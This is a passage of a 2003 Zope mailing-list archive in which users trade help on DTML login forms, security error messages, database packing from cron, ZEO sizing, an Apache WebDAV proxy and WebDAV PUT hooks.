site but it doesn't print anything really useful: Unauthorized: Your user account does not have the required permission. Access to 'title' of (DTMLDocument instance at 8fb4738) denied. Your user account, Anonymous User, exists at /acl_users. Access requires one of the following roles: ['Authenticated', 'Manager']. Your roles in this context are ['Anonymous']. (Also, an error occurred while attempting to render the standard error message.) But I want to know access to `title' of which DTML Document is denied. I have plenty of DTML Documents including each other and methods querying `title' property. :(( Eugene From pw_lists@slinkp.com Fri Aug 1 15:19:03 2003 From: pw_lists@slinkp.com (Paul Winkler) Date: Fri, 1 Aug 2003 10:19:03 -0400 Subject: [Zope] Disappointed by VerboseSecurity In-Reply-To: <20030801141546.GA12522@linux-ink.ru> References: <20030801141546.GA12522@linux-ink.ru> Message-ID: <20030801141903.GB1054@slinkp.com> On Fri, Aug 01, 2003 at 06:15:46PM +0400, Eugene Morozov wrote: > Hello! > I've just installed VerboseSecurity product to resolve problems with > my site but it doesn't print anything really useful: > > Unauthorized: Your user account does not have the required > permission. Access to 'title' of (DTMLDocument instance at 8fb4738) > denied. Your user account, Anonymous User, exists at > /acl_users. Access requires one of the following roles: > ['Authenticated', 'Manager']. Your roles in this context are > ['Anonymous']. (Also, an error occurred while attempting to render the > standard error message.) > > But I want to know access to `title' of which DTML Document is > denied. What else were you expecting? The above is quite a good start, isn't it? You what user you are, you know what roles you need to access the object, and you know that you don't have them here. Look in your document and its parent's folders to see which of them is not allowing Anonymous the View permission. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's GREASY GOOBERFLUGAL! (random hero from isometric.spaceninja.com) From khcarlso@bellsouth.net Fri Aug 1 15:17:17 2003 From: khcarlso@bellsouth.net (Kevin Carlson) Date: Fri, 01 Aug 2003 10:17:17 -0400 Subject: [Zope] NewBie DTMl Help In-Reply-To: <3F2A6799.6080608@tracmail.com> References: <3F2A6799.6080608@tracmail.com> Message-ID: <3F2A766D.3030508@bellsouth.net> The best piece of advice I can give you is to use a python script to handle this. DTML does not lend itself very well to handling form postings, IMHO. Try creating a script that does something like this (untested): RESPONSE = context.REQUEST.RESPONSE auth = context.Authenticate_user() # I'm assuming this returns a single row if auth and len(auth) : if password == auth[0].upassword : return RESPONSE.redirect('main') else : return RESPONSE.redirect('somewhere_else') S K Rahman wrote: > Hi all, > > I am trying to learn and if possible migrate some of my office apps to > zope. The trouble is somewhere here > > From Index_html page I am using a input form to get the login, > password so that it can authenticated of the currently internal > central auth system. > The form is posted to login_verify having content as follows. The > Authenticate_user is a ZSQL method taking user ID as parameter and is > supposed to return password, name and access level of that user. > > > > > > Auth success > > > > > > Auth Failed > > > > > > Unfortunately I dot get Auth Sucess but the redirect never happens. I > tried earlier this using dtml-call instead of dtml-in but soon I > realized that dtml-call does not return any values I need the output > of password, access level so that I can set the apporiarte permissons > on the respective page. > > Please advise. > > Regards > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From srahman@tracmail.com Fri Aug 1 15:41:22 2003 From: srahman@tracmail.com (S K Rahman) Date: Fri, 01 Aug 2003 20:11:22 +0530 Subject: [Zope] NewBie DTMl Help In-Reply-To: <3F2A766D.3030508@bellsouth.net> References: <3F2A6799.6080608@tracmail.com> <3F2A766D.3030508@bellsouth.net> Message-ID: <3F2A7C12.7030205@tracmail.com> Thanx for the reply, Unfortunately it does not works as well. Some Error "global name 'password' is not defined" problem. I tried hunting the current zope apps looking for some info but it seems all of them reply of the zope auth method. Just in case remember any link with the information I am looking for please let me know. BTW is there any revelant call for revelant thing like dtml-call that returns the value from ZSQL method that can me compared? Regards Kevin Carlson wrote: > The best piece of advice I can give you is to use a python script to > handle this. DTML does not lend itself very well to handling form > postings, IMHO. Try creating a script that does something like this > (untested): > > RESPONSE = context.REQUEST.RESPONSE > auth = context.Authenticate_user() # I'm assuming this returns a > single row > if auth and len(auth) : > if password == auth[0].upassword : > return RESPONSE.redirect('main') > else : > return RESPONSE.redirect('somewhere_else') > > > S K Rahman wrote: > >> Hi all, >> >> I am trying to learn and if possible migrate some of my office apps >> to zope. The trouble is somewhere here >> >> From Index_html page I am using a input form to get the login, >> password so that it can authenticated of the currently internal >> central auth system. >> The form is posted to login_verify having content as follows. The >> Authenticate_user is a ZSQL method taking user ID as parameter and is >> supposed to return password, name and access level of that user. >> >> >> >> >> >> Auth success >> >> >> >> >> >> Auth Failed >> >> >> >> >> >> Unfortunately I dot get Auth Sucess but the redirect never happens. I >> tried earlier this using dtml-call instead of dtml-in but soon I >> realized that dtml-call does not return any values I need the output >> of password, access level so that I can set the apporiarte permissons >> on the respective page. >> >> Please advise. >> >> Regards >> >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://mail.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce >> http://mail.zope.org/mailman/listinfo/zope-dev ) >> > > > From carsten@gehling.dk Fri Aug 1 16:05:14 2003 From: carsten@gehling.dk (Carsten Gehling) Date: Fri, 1 Aug 2003 17:05:14 +0200 Subject: SV: SV: [Zope] More verbose undo/transaction desciptions In-Reply-To: <200307311410.07492.tdickenson@geminidataloggers.com> Message-ID: How do apply the patch on the Windows platform? - Carsten > -----Oprindelig meddelelse----- > Fra: zope-admin@zope.org [mailto:zope-admin@zope.org]P=E5 vegne af Toby > Dickenson > Sendt: 31. juli 2003 15:10 > Til: Carsten Gehling; Jens Vagelpohl > Cc: Zope@Zope.Org > Emne: Re: SV: [Zope] More verbose undo/transaction desciptions > > > On Thursday 31 July 2003 10:24, Carsten Gehling wrote: > > Yes that did the trick, and that - of course - gave birth to a few mo= re > > questions: > > > > 1) Can i do any linebreaks in this note() function? It's to make it l= ook > > nicer on the Undo list. I've tried with \n and
but neither > gives the > > expected result (
is converted to <br> and \n is of > course just > > ignored by the browser). > > > > 2) As said before, I want to use this to let the manager know which > > attributes in the object, that has been altered. Currently I do it li= ke > > this: > > I have a patch to do exactly what you want, in the Zope Collector. > > http://collector.zope.org/Zope/807 > > It may need some handwork to apply to 2.7.... Please let me know what y= ou > think. > > > -- > Toby Dickenson - http://www.geminidataloggers.com/people/tdickenson > > Want a job like mine? http://www.geminidataloggers.com/jobs for Softwa= re > Engineering jobs at Gemini Data Loggers in Chichester, West > Sussex, England > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From carsten@gehling.dk Fri Aug 1 16:08:10 2003 From: carsten@gehling.dk (Carsten Gehling) Date: Fri, 1 Aug 2003 17:08:10 +0200 Subject: SV: [Zope] Automatic authenticating users in Zope behind IIS In-Reply-To: <3F292D04.9030102@nipltd.com> Message-ID: I got it working with RemoteUserFolder. Only it would be nice to get group associations from the Active Directory server and use these as Roles. I probably need to add some LDAP support to RemoteUserFolder. The is an LDAPUserFolder, but I don't think it supports the REMOTE_USER authentication. - Carsten > -----Oprindelig meddelelse----- > Fra: zope-admin@zope.org [mailto:zope-admin@zope.org]Pa vegne af Chris > Withers > Sendt: 31. juli 2003 16:52 > Til: Ng Pheng Siong > Cc: Dieter Maurer; Carsten Gehling; Zope@Zope.Org > Emne: Re: [Zope] Automatic authenticating users in Zope behind IIS > > > Ng Pheng Siong wrote: > > I've not used RemoteUserFolder with IIS, but I've used it with my > > ZServerSSL which sets REMOTE_USER from the client certificate's > subject DN, > > i.e., to support cert-based authentication over SSL. Works fine on Un*x, > > and I think it tested ok on Windows, too. > > If none of these work out of the box, consider using SimpleUserFolder and > scripting or subclassign to get your exact requirements... > > Chris > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From marc@sharedbase.com Fri Aug 1 16:10:06 2003 From: marc@sharedbase.com (Marc Burgauer) Date: Fri, 01 Aug 2003 16:10:06 +0100 Subject: [Zope] Permission for packing database Message-ID: I would like to set up a CRON job to daily pack a Zope database. The application does some heavy text processing and consequently the database can grow half a gig per day just because of keeping all the transactions, while the data to keep is just a few megs. Because I have to type the password in clear text into the script for CRON (I intend to use wget), I'd like to create a user with a dedicated role that can do nothing, but do the packing. I could not find which permission is required for this. Can anybody tell me what the minimum privileges are for packing the database? OR can the superuser account be used for this? (With packing I mean: /Control_Panel/Database/manage_pack) Cheers Marc From bart@barthubbard.com Fri Aug 1 16:26:04 2003 From: bart@barthubbard.com (Bart Hubbard) Date: Fri, 1 Aug 2003 11:26:04 -0400 Subject: [Zope] Performance requirements and ZEO In-Reply-To: <43488.199.67.140.20.1059687957.squirrel@webmail.mahnke.net> Message-ID: <005601c35841$3ba31d50$4d01a8c0@acroyear> Thank you to all of you who read my original post, and gave me all that great feedback. After futher testing with JMeter on our development = server, I'm recommending to our IT department to budget for 3 machines *just in case*, but to only purchase one right now. So we'll roll out with a = single Zope server, and prepare for the possibility of moving to a ZEO setup in = the future, if needed. If you're curious, the single server we're going with is the Compaq(HP) Proliant DL380, with a single 2.8 GHz Xeon, 2 GB RAM, 3x 10K RPM = Ultra320 SCSI 38 GB drives (RAID 5), etc. I feel pretty confident that we should = be able to handle 500,000 hits/day, now. When we get to deployment, I'll be sure to report back with our = performance benchmarking results (around November). Thanks again, bart From khcarlso@bellsouth.net Fri Aug 1 16:06:41 2003 From: khcarlso@bellsouth.net (Kevin Carlson) Date: Fri, 01 Aug 2003 11:06:41 -0400 Subject: [Zope] NewBie DTMl Help In-Reply-To: <3F2A7C12.7030205@tracmail.com> References: <3F2A6799.6080608@tracmail.com> <3F2A766D.3030508@bellsouth.net> <3F2A7C12.7030205@tracmail.com> Message-ID: <3F2A8201.5050904@bellsouth.net> In my example I was using the variable 'password' that I'm guess you supplied in the request from your form. You need to substitute your own variables for these items. The equivalent to dtml-call in a script is just to call the item (e.g., auth=context.Authenticate_user()). If you don't care about the return value, don't make an assignment. It would probably be a good idea to read the chapter on scripting in the Zope Book which you can find online at www.zope.org. Kevin S K Rahman wrote: > Thanx for the reply, > > Unfortunately it does not works as well. Some Error "global name > 'password' is not defined" problem. > I tried hunting the current zope apps looking for some info but it > seems all of them reply of the zope auth method. > Just in case remember any link with the information I am looking for > please let me know. > > BTW is there any revelant call for revelant thing like dtml-call that > returns the value from ZSQL method that can me compared? > > Regards > > Kevin Carlson wrote: > >> The best piece of advice I can give you is to use a python script to >> handle this. DTML does not lend itself very well to handling form >> postings, IMHO. Try creating a script that does something like this >> (untested): >> >> RESPONSE = context.REQUEST.RESPONSE >> auth = context.Authenticate_user() # I'm assuming this returns a >> single row >> if auth and len(auth) : >> if password == auth[0].upassword : >> return RESPONSE.redirect('main') >> else : >> return RESPONSE.redirect('somewhere_else') >> >> >> S K Rahman wrote: >> >>> Hi all, >>> >>> I am trying to learn and if possible migrate some of my office apps >>> to zope. The trouble is somewhere here >>> >>> From Index_html page I am using a input form to get the login, >>> password so that it can authenticated of the currently internal >>> central auth system. >>> The form is posted to login_verify having content as follows. The >>> Authenticate_user is a ZSQL method taking user ID as parameter and >>> is supposed to return password, name and access level of that user. >>> >>> >>> >>> >>> >>> Auth success >>> >>> >>> >>> >>> >>> Auth Failed >>> >>> >>> >>> >>> >>> Unfortunately I dot get Auth Sucess but the redirect never happens. >>> I tried earlier this using dtml-call instead of dtml-in but soon I >>> realized that dtml-call does not return any values I need the output >>> of password, access level so that I can set the apporiarte >>> permissons on the respective page. >>> >>> Please advise. >>> >>> Regards >>> >>> >>> _______________________________________________ >>> Zope maillist - Zope@zope.org >>> http://mail.zope.org/mailman/listinfo/zope >>> ** No cross posts or HTML encoding! ** >>> (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce >>> http://mail.zope.org/mailman/listinfo/zope-dev ) >>> >> >> >> > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From alex_c@MIT.EDU Fri Aug 1 16:00:46 2003 From: alex_c@MIT.EDU (Alex Coventry) Date: Fri, 01 Aug 2003 11:00:46 -0400 Subject: [Zope] Problem setting up an apache proxy to Zope's webDAV service. Message-ID: Hi. I have the following rewrite rule in my httpd.conf: RewriteRule ^/webDAV(.*) http://localhost:1981/VirtualHostBase/https/coventry.mit.edu:443/webDAV/VirtualHostRoot$1 [L,P] This proxies webDAV requests for https://coventry.mit.edu/webDAV/ to the zope service running on port 1981. Attempting to open that URL in the webDAV client Goliath results in these requests being recorded in Z2.log: OPTIONS /VirtualHostBase/https/coventry.mit.edu:443/webDAV/VirtualHostRoot/ HTTP/1.1 PROPFIND /VirtualHostBase/https/coventry.mit.edu:443/webDAV/VirtualHostRoot/ HTTP/1.1 However, this results in a Not Found error. The full record from the error log is at the bottom of this email. It seems to be failing on an attempt to access https://coventry.mit.edu/PROPFIND. Why it has decided to try to access the webDAV method as if it were part of the URL is beyond me. I'd be grateful to anyone who could tell me what I'm doing wrong here. Alex. Time 2003/08/01 10:52:02.179 GMT-4 User Name (User Id) alex_c (alex_c) Request URL https://coventry.mit.edu/PROPFIND Exception Type Not Found Exception Value The requested resource does not exist. Traceback (innermost last): * Module ZPublisher.Publish, line 98, in publish * Module ZPublisher.mapply, line 88, in mapply * Module ZPublisher.Publish, line 39, in call_object * Module webdav.NullResource, line 61, in HEAD Not Found: The requested resource does not exist. Display traceback as text REQUEST form cookies lazy items SESSION > other TraversalRequestNameStack [] PUBLISHED > URL 'https://coventry.mit.edu/PROPFIND' AUTHENTICATION_PATH 'webDAV/VirtualHostMonster' AUTHENTICATED_USER alex_c VirtualRootPhysicalPath ('',) SERVER_URL 'https://coventry.mit.edu' URL0 https://coventry.mit.edu/PROPFIND URL1 https://coventry.mit.edu BASE0 https://coventry.mit.edu BASE1 https://coventry.mit.edu BASE2 https://coventry.mit.edu/PROPFIND environ CONTENT_LENGTH '187' HTTP_X_FORWARDED_SERVER 'coventry.mit.edu' HTTP_DEPTH '1' WEBDAV_SOURCE_PORT 1 SERVER_SOFTWARE 'Zope/(unreleased version, python 2.2.3, linux2) ZServer/1.1' SCRIPT_NAME '' REQUEST_METHOD 'PROPFIND' HTTP_HOST 'localhost:1981' PATH_INFO '/VirtualHostBase/https/coventry.mit.edu:443/webDAV/VirtualHostRoot/' SERVER_PROTOCOL 'HTTP/1.1' channel.creation_time 1059749522 REMOTE_ADDR '127.0.0.1' CONNECTION_TYPE 'close' HTTP_USER_AGENT 'Goliath/1.0 (Macintosh-Carbon; PPC)' SERVER_NAME 'coventry' HTTP_MIME_VERSION '1.0' HTTP_X_FORWARDED_FOR '18.79.6.122' CONTENT_TYPE 'text/xml' GATEWAY_INTERFACE 'CGI/1.1' HTTP_X_FORWARDED_HOST 'coventry.mit.edu' PATH_TRANSLATED '/VirtualHostBase/https/coventry.mit.edu:443/webDAV/VirtualHostRoot' SERVER_PORT '1981' From zope@dylanreinhardt.com Fri Aug 1 16:43:43 2003 From: zope@dylanreinhardt.com (Dylan Reinhardt) Date: 01 Aug 2003 08:43:43 -0700 Subject: [Zope] NewBie DTMl Help In-Reply-To: <3F2A6799.6080608@tracmail.com> References: <3F2A6799.6080608@tracmail.com> Message-ID: <1059752622.8288.3.camel@ida.dylanreinhardt.com> Do this: Note the double quotes. Any time your expression is more complex than a single name, you're going to need them. HTH, Dylan On Fri, 2003-08-01 at 06:14, S K Rahman wrote: > Hi all, > > I am trying to learn and if possible migrate some of my office apps to > zope. The trouble is somewhere here > > From Index_html page I am using a input form to get the login, password > so that it can authenticated of the currently internal central auth system. > The form is posted to login_verify having content as follows. The > Authenticate_user is a ZSQL method taking user ID as parameter and is > supposed to return password, name and access level of that user. > > > > > > Auth success > > > > > > Auth Failed > > > > > > Unfortunately I dot get Auth Sucess but the redirect never happens. I > tried earlier this using dtml-call instead of dtml-in but soon I > realized that dtml-call does not return any values I need the output of > password, access level so that I can set the apporiarte permissons on > the respective page. > > Please advise. > > Regards > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From zope@dylanreinhardt.com Fri Aug 1 16:47:27 2003 From: zope@dylanreinhardt.com (Dylan Reinhardt) Date: 01 Aug 2003 08:47:27 -0700 Subject: [Zope] Problem with dtml-if sequence-start In-Reply-To: References: Message-ID: <1059752847.8294.8.camel@ida.dylanreinhardt.com> On Fri, 2003-08-01 at 05:22, Borja Prieto wrote: > I have a problem with the following code, wich is a DTML methos that > processes a form: > > At best, this does nothing of any value. > (First, I check if the user has completed the txtCertificado field) > > debe introducir un número de certificado')"> There is no dtml-return. You want dtml-call. You can read more about DTML here: http://www.zope.org/Documentation/Books/ZopeBook/2_6Edition/DTML.stx HTH, Dylan From zope@dylanreinhardt.com Fri Aug 1 16:54:46 2003 From: zope@dylanreinhardt.com (Dylan Reinhardt) Date: 01 Aug 2003 08:54:46 -0700 Subject: [Zope] Problem with dtml-if sequence-start In-Reply-To: <1059752847.8294.8.camel@ida.dylanreinhardt.com> References: <1059752847.8294.8.camel@ida.dylanreinhardt.com> Message-ID: <1059753286.8299.13.camel@ida.dylanreinhardt.com> On Fri, 2003-08-01 at 08:47, Dylan Reinhardt wrote: > There is no dtml-return. You want dtml-call. Grr... sorry. Of course there *is* a dtml-return tag. It's still not what you want. If you want to redirect the user, use dtml-call. If you want to return the output of another object, use dtml-var. There are precious few cases where dtml-return is correct... so few, in fact, you could use Zope for a couple years straight and easily forget it exists. :-) Dylan From pw_lists@slinkp.com Fri Aug 1 16:58:37 2003 From: pw_lists@slinkp.com (Paul Winkler) Date: Fri, 1 Aug 2003 11:58:37 -0400 Subject: [Zope] Permission for packing database In-Reply-To: References: Message-ID: <20030801155837.GD1054@slinkp.com> On Fri, Aug 01, 2003 at 04:10:06PM +0100, Marc Burgauer wrote: > I would like to set up a CRON job to daily pack a Zope database. The > application does some heavy text processing and consequently the database > can grow half a gig per day just because of keeping all the transactions, > while the data to keep is just a few megs. > > Because I have to type the password in clear text into the script for CRON > (I intend to use wget), I'd like to create a user with a dedicated role that > can do nothing, but do the packing. I could not find which permission is > required for this. > > Can anybody tell me what the minimum privileges are for packing the > database? Doesn't look like there's any special permissions declared for packing, so if your user can view the Control_Panel you are probably good to go. > OR can the superuser account be used for this? I'd use a local role. Create a Script that just does something like (untested): cp = container.restrictedTraverse('/Control_Panel') cp.Database.manage_pack() Give this script the Manager proxy role, and then add a local role for your dedicated user, giving them Manager access to only this script. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's SOLDIER STOOL! (random hero from isometric.spaceninja.com) From srahman@tracmail.com Fri Aug 1 17:08:51 2003 From: srahman@tracmail.com (S K Rahman) Date: Fri, 01 Aug 2003 21:38:51 +0530 Subject: [Zope] NewBie DTMl Help In-Reply-To: <1059752622.8288.3.camel@ida.dylanreinhardt.com> References: <3F2A6799.6080608@tracmail.com> <1059752622.8288.3.camel@ida.dylanreinhardt.com> Message-ID: <3F2A9093.5080203@tracmail.com> Bravo....Thanx it did worked. I have actually wasted lots of my time to get this solved. Rest most of my migration work got over expect for this. BTW I wonder in such a scenario isn't Zope supposed to throw an expection? Regards Dylan Reinhardt wrote: >Do this: > > > >Note the double quotes. Any time your expression is more complex than a >single name, you're going to need them. > >HTH, > >Dylan > > >On Fri, 2003-08-01 at 06:14, S K Rahman wrote: > > >>Hi all, >> >>I am trying to learn and if possible migrate some of my office apps to >>zope. The trouble is somewhere here >> >> From Index_html page I am using a input form to get the login, password >>so that it can authenticated of the currently internal central auth system. >>The form is posted to login_verify having content as follows. The >>Authenticate_user is a ZSQL method taking user ID as parameter and is >>supposed to return password, name and access level of that user. >> >> >> >> >> >>Auth success >> >> >> >> >> >>Auth Failed >> >> >> >> >> >>Unfortunately I dot get Auth Sucess but the redirect never happens. I >>tried earlier this using dtml-call instead of dtml-in but soon I >>realized that dtml-call does not return any values I need the output of >>password, access level so that I can set the apporiarte permissons on >>the respective page. >> >>Please advise. >> >>Regards >> >> >>_______________________________________________ >>Zope maillist - Zope@zope.org >>http://mail.zope.org/mailman/listinfo/zope >>** No cross posts or HTML encoding! ** >>(Related lists - >> http://mail.zope.org/mailman/listinfo/zope-announce >> http://mail.zope.org/mailman/listinfo/zope-dev ) >> >> > > > > > From jccooper@jcameroncooper.com Fri Aug 1 17:12:06 2003 From: jccooper@jcameroncooper.com (J Cameron Cooper) Date: Fri, 01 Aug 2003 11:12:06 -0500 Subject: [Zope] Performance requirements and ZEO In-Reply-To: References: Message-ID: <3F2A9156.9050709@jcameroncooper.com> > > >Here's the question: is there any benefit to having dual-processor machines >on any of these? I think we can afford 3 of them, if necessary, but is it >even needed? I was planning on going with Dual-Xeon 2.8 GHz boxes running >Linux. I'd rather not run more than one instance of Zope on the clients, >btw. > > Even if Python threads *loved* multiple processors, I usually find SMP to be less than optimal. You can do the math for yourself when you get your quotes, remembering that two processors will compute significantly below 200% of a single processor no matter what you do. My strategy: Get a good solid server for your ZEO server. Run the ZEO client on this one too, and see if you can get away with it. If not, add cheapo web servers with ZEO clients until you're comfortable with the load. If you're clever, these might not even need disks. (See Knoppix.) Sure, they aren't serious machines, and they might fail. But who cares? You have bunches of them! If you run Zope on a mulitple processor system, run one ZEO client per processor, and set processor affinity if you can. (Solaris can, and so can newer Linux kernels .) You may not like this much, but it's not so bad if you use zopectl or something like it. And remember, Zope will benefit a LOT more from extra memory than from extra processors. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From list@zettai.net Fri Aug 1 17:19:12 2003 From: list@zettai.net (george donnelly) Date: Fri, 01 Aug 2003 11:19:12 -0500 Subject: [Zope] Problem setting up an apache proxy to Zope's webDAV service. In-Reply-To: Message-ID: [Alex Coventry wrote (alex_c@MIT.EDU) on 8/1/03 10:00 AM] > This proxies webDAV requests for https://coventry.mit.edu/webDAV/ to the > zope service running on port 1981. Attempting to open that URL in the > webDAV client Goliath results in these requests being recorded in > Z2.log: Why don;t you just connect directly to zope on the port that webdav is running on and dispense with apache for webdav. or do you need SSL for webdav? <--> george donnelly ~ http://www.zettai.net/ ~ "Quality Zope Hosting" Shared and Dedicated Zope Hosting ~ Zope Servers ~ Zope Websites Yahoo, AIM: zettainet ~ MSN: zettainet@hotmail.com ~ ICQ: 51907738 From zope@dylanreinhardt.com Fri Aug 1 17:21:01 2003 From: zope@dylanreinhardt.com (Dylan Reinhardt) Date: 01 Aug 2003 09:21:01 -0700 Subject: [Zope] NewBie DTMl Help In-Reply-To: <3F2A9093.5080203@tracmail.com> References: <3F2A6799.6080608@tracmail.com> <1059752622.8288.3.camel@ida.dylanreinhardt.com> <3F2A9093.5080203@tracmail.com> Message-ID: <1059754860.8295.21.camel@ida.dylanreinhardt.com> On Fri, 2003-08-01 at 09:08, S K Rahman wrote: > BTW I wonder in such a scenario isn't Zope supposed to throw an expection? This falls into a bit of a gray area. Since dtml-call provides no return, exceptions are ignored as well. IMO, a namespace error should be thrown *regardless* but that's not how it works. If you're in a situation in the future where a dtml-call isn't working, try changing it over to dtml-var for debugging... that will provide you with the return value and exceptions you may need to fix the problem. Dylan From jccooper@jcameroncooper.com Fri Aug 1 17:26:00 2003 From: jccooper@jcameroncooper.com (J Cameron Cooper) Date: Fri, 01 Aug 2003 11:26:00 -0500 Subject: [Zope] When Inheritance ISN'T Such A Good Idea... In-Reply-To: <5.1.0.14.0.20030801054234.02385548@mail.web.vi> References: <5.1.0.14.0.20030801054234.02385548@mail.web.vi> Message-ID: <3F2A9498.5000000@jcameroncooper.com> > Search engines don't like Web sites with deep directory structures. I > use such structure to develop my Web sites to take advantage of > inheritance. I keep all my Python scripts in a separate directory as > well as the basic content of each page. This, of course, makes things > neat and tidy in my Zope. So I don't want to simply throw everything > in the root dir! Is there a way to call scripts and Template Pages > from other pages such that it renders as a simple URL without deep > directories (e.g., http://mysite.com/main.html ) or frames? Just to be picky, it's acquisition rather than inheritance. Certainly they're similar concepts, but not quite the same. There is a beast called TransparentFolder that does what you describe: reverse acquisition. http://www.zope.org/Members/hathawsh/TransparentFolders It has some known performance consequences. If you really mean "call", then you can do things like "root.scripts.someScript". If you mean "link to", then I'm afraid that things in general live where they live. There are also things like PortableHole, MovedObject, References, et al. (Also Redirector and Rewriter, which I never did get working.) --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From larry_prikockis@natureserve.org Fri Aug 1 19:04:34 2003 From: larry_prikockis@natureserve.org (Larry J. C. Prikockis) Date: Fri, 01 Aug 2003 14:04:34 -0400 Subject: [Zope] Re: ExternalEditor doesn't launch my .doc files (solved) References: Message-ID: On Fri, 11 Jul 2003 12:32:22 +0200, Josef Meile wrote: >> Hi, >> >> I'm trying to setup ExternalEditor to launch Word 2000 files, >> but I haven't had success. >> >> I have also tried without the "%1", and writting "C:\Program > Files\Microsoft >> Office\Office\WINWORD.EXE" between double qoutes but I get always the same >> dialog box: >> >> FATAL ERROR: (126, 'LoadLibrary', 'The specified module could not be >> found.') > I reinstall it again and the problem is gone now. Perhaps the patches of > windows, > which I installed just after installing this product, did something wrong. > ergh... did anyone ever figure out exactly what was going on here? I'm I'm now getting the same error-- despite uninstalling and reinstalling the helper app on windows multiple times. I'm running Zope 2.6.2b4, CMF 1.3.1, Plone 1.0.3, EE 0.7 Zope's on linux, though I'm (obviously, I suppose) trying to open Word documents on a Windows 2000 machine. any hints would be greatly appreciated.... Larry From cnd@ecn.purdue.edu Fri Aug 1 19:04:49 2003 From: cnd@ecn.purdue.edu (Christopher N. Deckard) Date: Fri, 1 Aug 2003 13:04:49 -0500 Subject: [Zope] getting parent in product Message-ID: <20030801130449.212e8caa.cnd@ecn.purdue.edu> Hello, I've written a ZMI configurable PutFactory Product to allow our users to be able to configure what types of objects are created when files are PUT using WebDav. What I would like to add is the ability to call a script immediately after the object is created. The script could do things like auto-catalog images in a ZCatalog or send out an email every time a file is uploaded. Looking at the code in webdav/NullResource.py NullResources.PUT(): ob = (factory(name, typ, body) or self._default_PUT_factory(name, typ, body) ) # We call _verifyObjectPaste with verify_src=0, to see if the # user can create this type of object (and we don't need to # check the clipboard. try: parent._verifyObjectPaste(ob.__of__(parent), 0) except Unauthorized: raise except: raise 'Forbidden', sys.exc_info()[1] # Delegate actual PUT handling to the new object. ob.PUT(REQUEST, RESPONSE) self.__parent__._setObject(name, ob) RESPONSE.setStatus(201) it doesn't look like I can do what I'd like to do without overriding NullResource.PUT(). Any thoughts on how to accomplish this? Thanks, -Chris -- -------------------------------------------------------------------- Christopher N. Deckard | Lead Web Systems Developer cnd@ecn.purdue.edu | Engineering Computer Network http://eng.purdue.edu/ECN/ | Purdue University ---- zlib.decompress('x\234K\316Kq((-J)M\325KM)\005\000)"\005w') --- From jens@zope.com Fri Aug 1 19:13:10 2003 From: jens@zope.com (Jens Vagelpohl) Date: Fri, 1 Aug 2003 14:13:10 -0400 Subject: [Zope] getting parent in product In-Reply-To: <20030801130449.212e8caa.cnd@ecn.purdue.edu> Message-ID: add a method with the signature "manage_afterAdd(self, item, container)" to the class that you are instantiating. it is always called after instantiation. jens On Friday, Aug 1, 2003, at 14:04 US/Eastern, Christopher N. Deckard wrote: > What I would like to add is the ability > to call a script immediately after the object is created. The > script could do things like auto-catalog images in a ZCatalog or > send out an email every time a file is uploaded. From zope@dylanreinhardt.com Fri Aug 1 19:20:12 2003 From: zope@dylanreinhardt.com (Dylan Reinhardt) Date: 01 Aug 2003 11:20:12 -0700 Subject: [Zope] getting parent in product In-Reply-To: <20030801130449.212e8caa.cnd@ecn.purdue.edu> References: <20030801130449.212e8caa.cnd@ecn.purdue.edu> Message-ID: <1059762012.9953.7.camel@ida.dylanreinhardt.com> If you don't want to override this method (and it's not clear why you wouldn't) you can bring about the same results by having a cron job periodically evaluate if anything has changed since last time the cron job was run. Once you've established if any changes have been made, then you can fire off other scripts to handle them as required. This approach will build some latency into the whole notification process, but depending on your requirements that might be acceptable or even preferable. It will assure, for example, the SMTP problems won't prevent your users from uploading files. :-) HTH, Dylan On Fri, 2003-08-01 at 11:04, Christopher N. Deckard wrote: > Hello, > I've written a ZMI configurable PutFactory Product to allow our > users to be able to configure what types of objects are created when > files are PUT using WebDav. What I would like to add is the ability > to call a script immediately after the object is created. The > script could do things like auto-catalog images in a ZCatalog or > send out an email every time a file is uploaded. > > Looking at the code in webdav/NullResource.py NullResources.PUT(): > > ob = (factory(name, typ, body) or > self._default_PUT_factory(name, typ, body) > ) > # We call _verifyObjectPaste with verify_src=0, to see if the > # user can create this type of object (and we don't need to > # check the clipboard. > try: > parent._verifyObjectPaste(ob.__of__(parent), 0) > except Unauthorized: > raise > except: > raise 'Forbidden', sys.exc_info()[1] > > # Delegate actual PUT handling to the new object. > ob.PUT(REQUEST, RESPONSE) > self.__parent__._setObject(name, ob) > > RESPONSE.setStatus(201) > > it doesn't look like I can do what I'd like to do without overriding > NullResource.PUT(). Any thoughts on how to accomplish this? > > Thanks, > -Chris From cnd@ecn.purdue.edu Fri Aug 1 19:06:32 2003 From: cnd@ecn.purdue.edu (Christopher N. Deckard) Date: Fri, 1 Aug 2003 13:06:32 -0500 Subject: [Zope] caling script after PUT (was: getting parent in product) In-Reply-To: <20030801130449.212e8caa.cnd@ecn.purdue.edu> References: 